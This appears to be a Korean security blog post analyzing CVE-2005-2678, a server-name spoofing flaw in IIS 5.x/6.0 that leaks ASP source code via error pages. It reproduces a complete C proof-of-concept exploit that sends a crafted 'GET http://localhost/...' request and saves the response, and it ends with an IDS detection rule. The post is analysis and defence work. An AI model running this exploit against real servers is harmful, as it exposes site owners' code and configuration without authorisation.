1. IIS Server
- IIS : Internet Information Service
- 마이크로소프트 윈도우를 사용하는 서버들을 위한 인터넷 기반 서비스들의 모임
2. 취약점
- MS IIS 5.0, 5.1, 6.0에서 원격의 사용자가 SERVER_NAME 변수를 스푸핑
- IIS 500-100.asp 오류 페이지를 통해 잠재적으로 중요한 ASP 코드가 노출되는 취약점
영향받는 버전
- IIS 5.0, 5.1, 6.0
영향받는 플랫폼
- MS Windows 2000 with SP4
- MS Windows XP Professional with SP2
- MS Windows 2003 with SP1
2.1 분석
- IIS 5.x 버전은 "SERVER_NAME" 서버변수가 "localhost" 경우 중요 정보를 표시하는 취약점을 가짐
- "SERVER_NAME" 변수가 "localhost"일 때, ASP 페이지에 에러가 있는 경우 ASP의 오류코드가 브라우저를 통해 표시
- 원격의 공격자는 "SERVER_NAME" 변수를 "localhost"로 스푸핑하여 접근
- 해당 취약점은 IIS 서버의 request.servervariables("SERVER_NAME")에서 발생
- 사용자 요청을 받은 경우 "SERVER_NAME"은 웹 서버 자체 IP 주소(혹은 localhost_자기 자신을 뜻함)를 반환
- localhost는 인증된 사용자가 웹 서버 자체에서 검색하고 있다는 것을 어플리케이션이나 서비스에 증명하는데 사용됨
- IIS 5.x 500-100.asp 페이지는 서버 변수를 사용해 오류가 발생한 코드의 표시 여부를 결정하므로 공격에 주로 사용됨
- 이를 정리하면 다음과 같음
① IIS 5.x 버전에서 localhost는 서버에 접근 가능한 인증된 사용자를 의미
② "SERVER_NAME" 서버변수가 "localhost"를 반환한다는 점을 악용
③ 공격자는 HTTP 요청 메세지에 localhost를 섞어서 전송할
④ request.servervariables("SERVER_NAME")에 의해 인증된 사용자가 아님에도 인증된 사용자로 인식
2.2 PoC 분석
- HTTP 요청에 localhost을 삽입해 요청 전송
※ Host 헤더를 localhost로 변조하는것 또한 익스플로잇이 가능할것으로 판단됨.
#include <stdio.h>
#include <string.h>
#include <winsock2.h>
#pragma comment(lib,"ws2_32.lib")
//max size to socket buffer
#define LEN_BUF 2048
//socket status
#define Conectado 1868
void main(int argc, char *argv[])
{
/*connect to a host throught a port*/
int Conecta(char *Host, short puerto);
//socket from the connection
int socket;
//to get the data received
char buf[LEN_BUF];
FILE *data;
printf("\n Proof of Concept");
printf("\n IIS 5.x and IIS 6.0 Server Name Spoof - by Lympex");
printf("\nContact: lympex[at]gmail[dot]com - http://l-bytes.tk");
printf("\n----------------------------------------------------\n");
if(argc!=4)
{
printf("\n[+] Usage: %s server.com 80 /test.asp\n",argv[0]);return;
}
//conectamos
socket=Conecta(argv[1],(short)atoi(argv[2]));
if(socket==-1)
{
printf("\n[+] Error connecting to host\n");
return;
}printf("\n[+] Connected!\n");
if((data=fopen("received_data.txt","w"))==NULL)
{
printf("\n[+] Error saving received data\n");
WSACleanup();
return;
}
/*send the EVIL REQUEST*/
strcpy(buf,"GET http://localhost");strcat(buf,argv[3]);strcat(buf," HTTP/1.0\n\n");
send(socket,buf,strlen(buf),0);
//while we aren´t disconnected
do
{
buf[recv(socket,buf,LEN_BUF,0)]='\0';
fputs(buf,data);
}while(socket==Conectado);
WSACleanup();
fclose(data);
printf("\n[+] Received data, saved in: \x22received_data.txt\x22\n");
return;
}
/*Connect to a host throught a port - by Lympex*/
int Conecta(char *Host, short puerto)
{
/*para crear el socket*/
WSADATA wsaData;
SOCKET Winsock;//el que escucha
/*estructura con los datos para realizar la conexion*/
struct sockaddr_in Winsock_In;
struct hostent *Ip;
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,2), &wsaData);
/*asociamos*/
Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
//miramos si está correcto, y así no rellenamos la estructura Winsock_In para nada
if(Winsock==INVALID_SOCKET)
{
/*salimos*/
WSACleanup();
return -1;
}
/*rellenamos la estructura*/
Ip=gethostbyname(Host);
Winsock_In.sin_port=htons(puerto);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=inet_addr(inet_ntoa(*((struct in_addr *)Ip->h_addr)));
/*conectamos*/
if(WSAConnect(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
/*salimos*/
WSACleanup();
return -1;
}
return Winsock;
}
3. 대응방안
① 해당 HTTP 요청을 탐지 가능한 정책 적용
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"GPL WEB_SERVER WEB-IIS Remote IIS Server Name spoof attempt loopback IP"; flow:to_server,established; content:"http|3a|//127.0.0.1"; pcre:"/http\x3A\/\/127\.0\.0\.1\/.*\.asp/i"; reference:cve,2005-2678; classtype:web-application-activity; sid:2100139; rev:5;)
4. 참고
- https://nvd.nist.gov/vuln/detail/CVE-2005-2678
- https://developer.aliyun.com/article/450934
- https://fossies.org/linux/w3/resources/emerging-web_server.rules
- https://www.exploit-db.com/exploits/1178
- http://www.hackersnews.org/hn//read.cgi?board=vul_top&nnew=2&y_number=2157
'취약점 > Sensitive Data Exposure' 카테고리의 다른 글
CISA, F5 BIG-IP 쿠키 악용해 내부 네트워크 해킹에 대해 경고 (0) | 2024.10.13 |
---|---|
Jenkins 임의 파일 읽기 취약점 (CVE-2024-23897, CVE-2024-23898) (0) | 2024.02.04 |
KeePass 마스터 비밀번호 탈취 취약점 (CVE-2023-3278) (0) | 2023.05.22 |
Confluence 무단 정보 공개 (CVE-2017-7415) (0) | 2023.01.05 |